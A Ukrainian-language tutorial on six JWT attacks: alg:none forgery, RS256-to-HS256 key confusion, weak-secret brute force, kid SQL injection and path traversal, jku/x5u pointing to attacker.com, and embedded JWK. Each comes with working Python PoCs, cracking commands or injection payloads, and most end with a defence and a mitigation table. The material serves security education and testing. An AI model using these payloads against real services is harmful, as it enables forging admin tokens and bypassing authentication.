Що таке JWT
JWT (JSON Web Token) — стандарт для передачі claims між сторонами у вигляді підписаного JSON об'єкту. Широко використовується для авторизації в REST API і SPA.
Структура:
header.payload.signature
// Header (base64url decoded)
{"alg": "HS256", "typ": "JWT"}
// Payload
{"sub": "1234", "username": "user", "role": "user", "iat": 1716000000}
// Signature
HMACSHA256(base64url(header) + "." + base64url(payload), secret)
Повний токен виглядає так:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Атака 1: Algorithm None (CVE-2015-9235)
Суть: деякі бібліотеки приймають токени з "alg": "none" — тобто без підпису взагалі.
Exploit:
import base64, json
# Оригінальний токен: role=user
# Ціль: змінити role=admin без знання секрету
header = base64url_encode({"alg": "none", "typ": "JWT"})
payload = base64url_encode({"sub": "1234", "role": "admin"})
token = f"{header}.{payload}." # підпис порожній
# Відправити у Authorization header
# Python PoC
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
header = b64url({"alg": "none", "typ": "JWT"})
payload = b64url({"sub": "1234", "username": "admin", "role": "admin", "iat": 1716000000})
token = f"{header}.{payload}."
print(token)
Захист: явно вказувати допустимі алгоритми у бібліотеці; ніколи не приймати none.
Атака 2: RS256 → HS256 Key Confusion
Суть: сервер використовує RS256 (асиметричне шифрування). Публічний ключ відомий всім. Якщо бібліотека не фіксує алгоритм — можна змінити alg з RS256 на HS256 і підписати токен публічним ключем як HMAC-секретом. Сервер перевірить підпис тим самим публічним ключем — і прийме!
Exploit:
import jwt # PyJWT
# 1. Отримай публічний ключ сервера
# (часто доступний на /api/jwks.json або /.well-known/jwks.json)
public_key = open("server_public_key.pem").read()
# 2. Підпиши змінений payload публічним ключем через HS256
payload = {"sub": "1337", "role": "admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)
# 3. Відправ токен — сервер верифікує HS256 тим самим публічним ключем
Захист: фіксувати алгоритм при верифікації: jwt.decode(token, key, algorithms=["RS256"]).
Атака 3: Brute-Force слабкого секрету (HS256)
Суть: якщо HMAC-секрет слабкий — можна підібрати його і підписувати довільні токени.
# hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
# jwt_tool
python3 jwt_tool.py TOKEN -C -d rockyou.txt
Python підбір:
import hmac, hashlib, base64, json
def sign(header, payload, secret):
msg = f"{b64url(header)}.{b64url(payload)}".encode()
return base64.urlsafe_b64encode(
hmac.new(secret.encode(), msg, hashlib.sha256).digest()
).rstrip(b'=').decode()
target_sig = "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
with open('rockyou.txt', 'rb') as f:
for line in f:
secret = line.strip().decode(errors='ignore')
if sign(header, payload, secret) == target_sig:
print(f"Secret found: {secret}")
break
Захист: використовувати криптографічно стійкі секрети >= 256 біт (32+ байти випадкових даних).
Атака 4: kid (Key ID) Injection
Суть: параметр kid у header вказує яким ключем підписаний токен. Якщо сервер використовує kid для вибору ключа з бази даних або файлової системи — можлива ін'єкція.
SQL Injection через kid
{
"alg": "HS256",
"kid": "' UNION SELECT 'attacker_secret' -- "
}
Якщо сервер виконує SELECT key FROM keys WHERE id = '{kid}' — ін'єкція підставляє відомий секрет, яким атакуючий і підписує токен.
Path Traversal через kid
{
"alg": "HS256",
"kid": "../../dev/null"
}
Сервер читає /dev/null як ключ (порожній рядок) → атакуючий підписує токен порожнім секретом.
Атака 5: jku / x5u Header Injection
Суть: параметри jku (JWK Set URL) і x5u (X.509 Certificate URL) вказують звідки завантажити публічний ключ для верифікації. Якщо сервер не валідує URL — можна вказати свій сервер.
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}
Exploit:
1. Генеруємо RSA пару ключів
2. Публікуємо публічний ключ на attacker.com/jwks.json
3. Підписуємо токен своїм приватним ключем
4. Сервер завантажує наш публічний ключ і успішно верифікує токен
# Генерація JWKS
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import json, base64
private_key = rsa.generate_private_key(65537, 2048, default_backend())
public_key = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()
jwks = {
"keys": [{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "attacker-key",
"n": base64.urlsafe_b64encode(pub_numbers.n.to_bytes(256,'big')).rstrip(b'=').decode(),
"e": base64.urlsafe_b64encode(pub_numbers.e.to_bytes(3,'big')).rstrip(b'=').decode(),
}]
}
print(json.dumps(jwks))
Атака 6: Embedded JWK
Суть: заголовок JWT може містити параметр jwk — вбудований публічний ключ. Вразливі бібліотеки верифікують підпис цим же ключем.
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "ATTACKER_PUBLIC_KEY_N",
"e": "AQAB"
}
}
Інструменти
# jwt_tool — швейцарський ніж для JWT
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py TOKEN # декодувати
python3 jwt_tool.py TOKEN -T # інтерактивна зміна
python3 jwt_tool.py TOKEN -X a # alg:none атака
python3 jwt_tool.py TOKEN -X s # RS256->HS256
python3 jwt_tool.py TOKEN -C -d wordlist.txt # brute-force
# Burp Suite → JWT Editor extension
# jwt.io — декодування в браузері
Захист
| Вразливість | Захист |
|---|---|
| alg:none | Явно вказати допустимі алгоритми при верифікації |
| RS256→HS256 | algorithms=["RS256"] — не довіряти заголовку |
| Слабкий секрет | >= 32 байти з CSPRNG |
| kid injection | Параметизовані запити; whitelist kid значень |
| jku/x5u | Не довіряти цим заголовкам; фіксувати URL ключів |
| Embedded JWK | Ігнорувати jwk в заголовку; використовувати сервер-ключ |